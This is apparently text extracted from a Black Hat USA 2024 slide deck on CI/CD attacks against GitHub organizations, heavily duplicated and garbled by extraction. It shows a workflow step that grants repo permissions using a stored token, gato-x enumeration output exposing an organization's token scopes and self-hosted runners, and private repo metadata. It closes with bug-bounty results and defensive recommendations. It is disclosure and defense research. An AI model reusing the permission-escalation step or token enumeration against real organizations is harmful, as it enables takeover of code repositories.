uses: actions/github-script@v3
with:
    github-token: ${{ secrets.CONF_GITHUB_TOKEN_00A }}
    script: |
    await github.teams.addOrUpdateRepoPermissionsInOrg({
```

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#### ALL EMPLOYEES COULD BECOME ADMIN

```
"source": "
                            "conditions": {
name: Add
                   Support Team
uses: actions/github-script@v3
with
  github-token: ${{ secrets.CONF_GITHUB_TOKEN_00A }}
  script
    await github.teams.addOrUpdateRepoPermissionsInOrg({
```

Adnan Khan - X: @adnanthekhan Website: adnanthekhan.com #BHUSA @BlackHatEvents

- 1 ▶ Run source venv2/bin/activate && gato-x e -t intel-restricted -sr -oJ intel rest.json
- 7 [+] The authenticated user is: github-1source
- 8 [+] The GitHub Classic PAT has the following scopes: admin:enterprise, admin:org\_hook, delete\_repo, project, read:audit\_log, repo, user, workflow, write:discussion
- 9 [+] Enumerating the intel-restricted organization!
- 10 [!] The user is an organization owner!
- 11 [+] The token also has the admin:org scope. This token has extensive access to the GitHub organization!
- 12 [+] The organization has 30 org-level self-hosted runners!
- Name: promark.PROMARKSRV02, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, promark, promarksrv02!
- Name: promark.PROMARKSRV01, OS: Windows Status: online
- 16 The runner has the following labels: self-hosted, X64, Windows, promark, promarksrv01!
- Name: pmem\_debug\_tool.host-202, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, pmem debug tool, SPR, HOST202, CI!
- Name: pmem\_debug\_tool.host-200, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, pmem debug tool, UT, ASD, HOST200, CI, INBANDLINUXSPR HOST!
- Name: sfip.sw.windows-01-001, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-002, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-003, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-004, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-005, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: hlp-sw-hlp-sw-27-a-runner2-001, OS: Linux Status: online
- The runner has the following labels: self-hosted, Linux, X64, hlp-sw, pako-cloud-prod-3!
- Name: hlp-sw.hlp-sw-27-a-runner2-002, OS: Linux Status: online
- The runner has the following labels: self-hosted, Linux, X64, hln-sw, pako-cloud-prod-3!

```
▶ Run source venv2/bin/activate && gato-x e -t intel-restricted -sr -oJ intel rest.json
    [+] The authenticated user is: github-1source
                                                                                                                  epo, project, read:audit_log, repo, user, workflow, write:discussion
    [+] The GitHub Classic PAT has the following scopes: admin:enterprise, admin:org, admin:org hook, delete repo,
     [+] Enumerating the intel-restricted organization!
        The user is an organization owner!
        The token also has the admin:org scope. This token has extensive access to the GitHub organization!
   [+] The organization has 30 org-level self-hosted runners!
13

    Name: promark.PROMARKSRV02, OS: Windows Status: online

14
        The runner has the following labels: self-hosted, X64, Windows, promark, promarksrv02!
15
        - Name: promark.PROMARKSRV01, OS: Windows Status: online
        - The runner has the following labels: self-hosted, X64, Windows, promark, promarksrv01!
17

    Name: pmem debug tool.host-202, OS: Windows Status: online

18

    The runner has the following labels: self-hosted, X64, Windows, pmem_debug_tool, SPR, HOST202, CI!

19

    Name: pmem debug tool.host-200, OS: Windows Status: online

20
        - The runner has the following labels: self-hosted, X64, Windows, pmem debug tool, UT, ASD, HOST200, CI, INBANDLINUXSPR HOST!
21
        - Name: sfip.sw.windows-01-001, OS: Windows Status: online
22
        - The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
23
        - Name: sfip.sw.windows-01-002, OS: Windows Status: online
24
        - The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
25
        - Name: sfip.sw.windows-01-003, OS: Windows Status: online

    The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!

27
        - Name: sfip.sw.windows-01-004, OS: Windows Status: online
28
        - The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
29
        - Name: sfip.sw.windows-01-005, OS: Windows Status: online
30
        - The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
        - Name: hlp-sw.hlp-sw-27-a-runner2-001, OS: Linux Status: online
32
        - The runner has the following labels: self-hosted, Linux, X64, hlp-sw, pako-cloud-prod-3!
        - Name: hlp-sw.hlp-sw-27-a-runner2-002, OS: Linux Status: online
```

The runner has the following labels: self-hosted. Linux. X64. hlp-sw. pako-cloud-prod-3!

34

#### C ! Run

- 1 ▶ Run source venv2/bin/activate && gato-x e -t intel-restricted -sr -oJ intel\_rest.json
- 7 [+] The authenticated user is: github-1source
- 8 [+] The GitHub Classic PAT has the following scopes: admin:enterprise, admin:org\_hook, delete\_repo, project, read:audit\_log, repo, user, workflow, write:discussic
- 9 [+] Enumerating the **intel-restricted** organization!
- 10 [!] The user is an organization owner!
- 11 [+] The token also has the admin:org scope. This token has extensive access to the GitHub organization!
- 12 [+] The organization has 30 org-level self-hosted runners!
- Name: promark.PROMARKSRV02, OS: Windows Status: online
  - ▶ Run source venv2/bin/activate && gato-x e -t intel-restricted -sr -oJ intel\_rest.json
  - [+] The authenticated user is: github-1source
  - [+] The GitHub Classic PAT has the following scopes: admin:enterprise, admin:org, admin:org\_hook, delete\_repo,
  - [+] Enumerating the intel-restricted organization!
  - [!] The user is an organization owner!
  - [+] The token also has the admin:org scope. This token has extensive access to the GitHub organization!
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-003, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-004, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW!
- Name: sfip.sw.windows-01-005, OS: Windows Status: online
- The runner has the following labels: self-hosted, X64, Windows, sfip.sw, sfip-sw, CSESW
- Name: hlp-sw.hlp-sw-27-a-runner2-001, OS: Linux Status: online
- The runner has the following labels: self-hosted, Linux, X64, hlp-sw, pako-cloud-prod-3
- Name: hlp-sw.hlp-sw-27-a-runner2-002, OS: Linux Status: online
- The runner has the following labels: self-hosted. Linux. X64. hln-sw. nako-cloud-prod-3



#### 16321



Admin to ALL repos in intel-restricted



Some repos included highly restricted IP



Ability to make all repos public



Ability to Delete
Organization Entirely

```
448
449
         "id": 472953435,
450
         "node id": "R kgDOHDCyWw",
         "name": "
                                     core-royal",
         "full name": "intel-restricted/
452
                                                          .core-royal",
453
         "private": true,
454
          "owner": {
           "login": "intel-restricted",
456
           "id": 71398875,
           "node_id": "MDEyOk9yZ2FuaXphdGlvbjcxMzk40Dc1",
457
458
           "avatar_url": "https://avatars.githubusercontent.com/u/
459
           "gravatar id": "",
460
           "url": "https://api.github.com
461
           "html url": "https://github.co
462
           "followers_url": "https://api.
           "following url": "https://api
464
           "gists url": "https://api.gitl
           "starred url": "https://api.g:
           "subscriptions_url": "https://
           "organizations url": "https://
468
           "repos url": "https://api.gitl
           "events url": "https://api.git
470
           "received_events_url": "https:
           "type": "Organization",
471
472
           "site_admin": false
473
474
         "html url": "https://github.com/intel-restricted/
         "description": "Royal Core Intellectual Property
475
476
         "fork": false,
```









Admin to ALL repos in intel-restricted



public

Some repos included highly restricted IP

Ability to Delete

Adnan Khan - X: @adnanthekhan Website: adnanthekhan.com





Admin to ALL repos in intel-restricted





#### 16321



Admin to ALL repos in intel-restricted



Ability to make all repos



Ability to Delete Organization

entire Ufalse,



16321



Admin to ALL repos i intel-restricted

OPEN SOURCE

ALL THE REPOS

Ability to make all repo

```
448
449
          "id": 472953435,
          "node id": "R kgDOHDCyWw",
          "name": "
                                     core-royal",
451
452
         "full name": "intel-restricted/
                                                           .core-royal",
          "private": true,
454
          "owner": {
455
           "login": "intel-restricted",
456
           "id": 71398875,
457
           "node id": "MDEyOk9yZ2FuaXphdGlvbjcxMzk4ODc1",
           "avatar_url": "https://avatars.githubusercontent.com/u/
458
           "gravatar id": "",
460
           "url": "https://api.github.com
461
           "html_url": "https://github.co
462
           "followers url": "https://api
           "following url": "https://api.
464
           "gists url": "https://api.gitl
           "starred url": "https://api.g:
465
466
            "subscriptions url": "https://
           "organizations_url": "https://
467
468
            "repos url": "https://api.gitl
469
           "events url": "https://api.git
           "received events url": "https:
470
           "type": "Organization",
471
472
            "site admin": false
473
474
         "html url": "https://github.com/intel-restricted/
         "description": "Royal Core Intellectual Property
475
476
          "fork": false,
```



### PATS 4 CI/CD ATTACK SURFACE

32%

Active PATs with 10 or more scopes checked

**79%** 

Percentage of active PATs with no expiration date.


Audit log events generated when enumerating PAT access

METRICS BASED ON JUNE 14TH POINT IN TIME FROM TWO INTEL ORGS

Adnan Khan - X: @adnanthekhan Website: adnanthekhan.com



#### AFTERMATH



Reports Submitted



Lots of Bug Bounties Earned






















# DEFENSE - HOW CAN YOU PROTECT YOUR ORGANIZATION FROM RISK?


#### PROTECTING AGAINST SELF HOSTED RUNNER ATTACKS

- Require approval for first-time contributors who Only first-time contributors who recently created a GitHu
   Require approval for first-time contributors
   Only first-time contributors will require approval to run w

   Require approval for all outside collaborators
  - Enable Workflow Approval Requirements



Use Managed
Ephemeral Runners
Whenever Possible



Use Least Privilege
Principle for
Workflow Secrets



Limit
GITHUB\_TOKEN
Permissions

This environment has no secrets.

Add environment secret

Use Deployment
Environments for
Production Secrets

#### SHARING IS NOT ALWAYS CARING

Do Not Share Runners Between Public and Private Repos




Do Not Mix Cl and CD



Monitor Self-Hosted Runners

#### black hat USA 2024

# THE REAL PROBLEM - PROTECTING AGAINST CI/CD ATTACKS





#### GitHub PAT Hygiene






#### BLACK HAT SOUND BYTES

- 1. Continuous Integration, Continuous Destruction is Systemic
- 2. Public GitHub Repositories are In the Crosshairs

3. Ignorance is Breach







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Web:

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